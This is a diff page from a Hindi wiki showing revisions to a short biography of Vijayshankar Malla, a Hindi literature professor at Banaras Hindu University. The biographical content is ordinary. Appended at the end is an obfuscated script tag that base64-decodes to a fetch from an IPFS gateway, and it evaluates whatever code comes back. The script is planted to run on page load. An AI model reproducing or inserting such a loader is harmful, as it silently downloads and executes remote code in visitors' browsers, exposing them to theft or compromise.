विजयशंकर मल्ल: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
(''''विजयशंकर मल्ल''' का जन्म उत्तर प्रदेश में आजमगढ़ ...' के साथ नया पन्ना बनाया) |
No edit summary |
||
(2 intermediate revisions by one other user not shown) | |||
Line 1: | Line 1: | ||
'''विजयशंकर मल्ल''' का जन्म [[उत्तर प्रदेश]] में [[आजमगढ़]] के | [[चित्र:Vijayshankar-malla.jpg|thumb|200px|विजयशंकर मल्ल]] | ||
'''विजयशंकर मल्ल''' का जन्म [[उत्तर प्रदेश]] में [[आजमगढ़]] के लखनौर नामक ग्राम में हुआ था। वह [[बनारस हिन्दू विश्वविद्यालय]] में [[हिन्दी]] विभाग के प्रोफ़ेसर, काव्य समीक्षक एवं अत्यंत सफल अध्यापक रहे थे।<ref>{{cite web |url=http://www.kashikatha.com/%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A5%8D%E0%A4%A4%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%B5/%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A4%BE%E0%A4%B0/|title=काशी के साहित्यकार|accessmonthday= 22 जनवरी|accessyear= 2014|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | |||
*[[आचार्य केशव प्रसाद मिश्र]] एवं आचार्य नन्द दुलारे वाजपेयी के प्रिय शिष्यों में विजयशंकर मल्ल भी थे। | *[[आचार्य केशव प्रसाद मिश्र]] एवं आचार्य नन्द दुलारे वाजपेयी के प्रिय शिष्यों में विजयशंकर मल्ल भी थे। | ||
Line 6: | Line 7: | ||
*[[31 अगस्त]], [[2003]] को विजयशंकर मल्ल का निधन हुआ। | *[[31 अगस्त]], [[2003]] को विजयशंकर मल्ल का निधन हुआ। | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==बाहरी कड़ियाँ== | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{साहित्यकार}} | {{साहित्यकार}} |
Latest revision as of 08:59, 23 November 2024
thumb|200px|विजयशंकर मल्ल विजयशंकर मल्ल का जन्म उत्तर प्रदेश में आजमगढ़ के लखनौर नामक ग्राम में हुआ था। वह बनारस हिन्दू विश्वविद्यालय में हिन्दी विभाग के प्रोफ़ेसर, काव्य समीक्षक एवं अत्यंत सफल अध्यापक रहे थे।[1]
- आचार्य केशव प्रसाद मिश्र एवं आचार्य नन्द दुलारे वाजपेयी के प्रिय शिष्यों में विजयशंकर मल्ल भी थे।
- विजयशंकर मल्ल ने भारतेन्दु काल के गद्य को "हंसमुख गद्य" की संज्ञा दी थी।
- इन्होंने पहली समीक्षात्मक पुस्तक हिन्दी में 'प्रगतिवाद' नाम से लिखी।
- 31 अगस्त, 2003 को विजयशंकर मल्ल का निधन हुआ।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ काशी के साहित्यकार (हिन्दी)। । अभिगमन तिथि: 22 जनवरी, 2014।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>